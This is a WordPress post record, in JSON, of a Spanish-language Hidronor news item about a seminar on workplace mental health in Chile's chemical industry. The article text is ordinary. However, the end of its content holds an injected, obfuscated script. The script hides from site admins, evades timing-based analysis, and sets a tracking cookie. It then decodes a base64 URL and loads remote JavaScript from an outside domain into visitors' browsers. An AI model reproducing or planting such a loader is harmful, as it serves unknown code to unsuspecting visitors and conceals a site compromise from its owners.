{"id":21098,"date":"2024-11-25T15:28:30","date_gmt":"2024-11-25T19:28:30","guid":{"rendered":"https:\/\/www.hidronor.cl\/?p=21098"},"modified":"2026-01-20T13:21:32","modified_gmt":"2026-01-20T17:21:32","slug":"participamos-en-el-seminario-la-quimica-de-la-felicidad-y-bienestar-en-la-industria","status":"publish","type":"post","link":"https:\/\/www.hidronor.cl\/en\/participamos-en-el-seminario-la-quimica-de-la-felicidad-y-bienestar-en-la-industria\/","title":{"rendered":"We participated in the Seminar \u201cThe Chemistry of Happiness and Well-being in the Industry\u201d"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/www.linkedin.com\/feed\/update\/urn:li:activity:7266896505578434563\"><img loading=\"lazy\" decoding=\"async\" width=\"150\" height=\"40\" src=\"https:\/\/www.hidronor.cl\/hidronor\/wp-content\/uploads\/2022\/03\/icono-linkedin-1.jpg\" alt=\"\" class=\"wp-image-15923\" srcset=\"https:\/\/www.hidronor.cl\/hidronor\/wp-content\/uploads\/2022\/03\/icono-linkedin-1.jpg 150w, https:\/\/www.hidronor.cl\/hidronor\/wp-content\/uploads\/2022\/03\/icono-linkedin-1-18x5.jpg 18w\" sizes=\"auto, (max-width: 150px) 100vw, 150px\" \/><\/a><\/figure>\n\n\n\n<p><strong>Durante el evento, se abord\u00f3 la salud mental laboral de Chile y la presentaci\u00f3n del Protocolo de Vigilancia de Riesgos Psicosociales en el Trabajo, establecido por SUSESO.<\/strong><br><\/p>\n\n\n\n<p>El pasado viernes 15 de noviembre se llev\u00f3 a cabo el seminario \u00abLa Qu\u00edmica de la Felicidad y Bienestar en la Industria\u00bb, organizado por la Asociaci\u00f3n de la Industria Qu\u00edmica y del Pl\u00e1stico (Asiquim) Regional Zona Sur, un evento que reuni\u00f3 a expertos, profesionales y representantes del sector industrial para abordar la importancia de la salud mental en los entornos laborales, un tema de creciente relevancia en el contexto de los cambios sociales y econ\u00f3micos actuales.<\/p>\n\n\n\n<p>Uno de los puntos clave del seminario fue la presentaci\u00f3n del Protocolo de Vigilancia de Riesgos Psicosociales en el Trabajo, establecido por la Superintendencia de Seguridad Social (SUSESO), herramienta fundamental para identificar y evaluar los riesgos psicosociales que pueden afectar el bienestar de los trabajadores, protocolo que adem\u00e1s proporciona una metodolog\u00eda clara y precisa para que las empresas puedan evaluar los factores que inciden en la salud mental de sus empleados, como el estr\u00e9s laboral, la carga de trabajo excesiva, las malas condiciones ambientales y las relaciones interpersonales conflictivas.<\/p>\n\n\n\n<p><strong>Salud mental en Chile<\/strong><\/p>\n\n\n\n<p>Seg\u00fan datos de la Encuesta Nacional de Salud 2021, realizada por el Ministerio de Salud de Chile, alrededor del 30% de la poblaci\u00f3n laboral en el pa\u00eds report\u00f3 s\u00edntomas de estr\u00e9s relacionado con el trabajo. Este fen\u00f3meno ha sido identificado como una de las principales causas de enfermedad laboral, lo que genera una alta tasa de ausentismo y baja productividad. Las enfermedades relacionadas con el estr\u00e9s y la salud mental est\u00e1n entre las primeras causas de licencias m\u00e9dicas en Chile.<\/p>\n\n\n\n<p>La presentaci\u00f3n del protocolo por parte de expertos en salud ocupacional fue acompa\u00f1ada de discusiones sobre estrategias efectivas para reducir el impacto negativo de estos riesgos, como la implementaci\u00f3n de programas de bienestar y la promoci\u00f3n de una cultura organizacional que valore la salud mental de los empleados.<\/p>\n\n\n\n<p>En este contexto, en Hidronor nos sumamos como auspiciador de esta fundamental iniciativa, reafirmando nuestro compromiso con la responsabilidad social empresarial y el bienestar de nuestros colaboradores. De hecho, hemos sido un referente en la industria por nuestras iniciativas enfocadas en la sostenibilidad y la salud integral de los trabajadores.<\/p>\n\n\n\n<p><strong>Entorno laboral<\/strong><\/p>\n\n\n\n<p>El seminario se enmarca en una serie de iniciativas que buscan sensibilizar a las empresas sobre la importancia de incorporar pr\u00e1cticas de bienestar laboral y, en particular, la salud mental como parte fundamental de la estrategia organizacional.<\/p>\n\n\n\n<p>La jornada, que se desarroll\u00f3 con gran \u00e9xito, deja claro que el bienestar laboral y la salud mental deben ser una prioridad dentro de las agendas empresariales para garantizar ambientes de trabajo m\u00e1s saludables y productivos.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Durante el evento, se abord\u00f3 la salud mental laboral de Chile y la presentaci\u00f3n del Protocolo de Vigilancia de Riesgos Psicosociales en el Trabajo, establecido por SUSESO. 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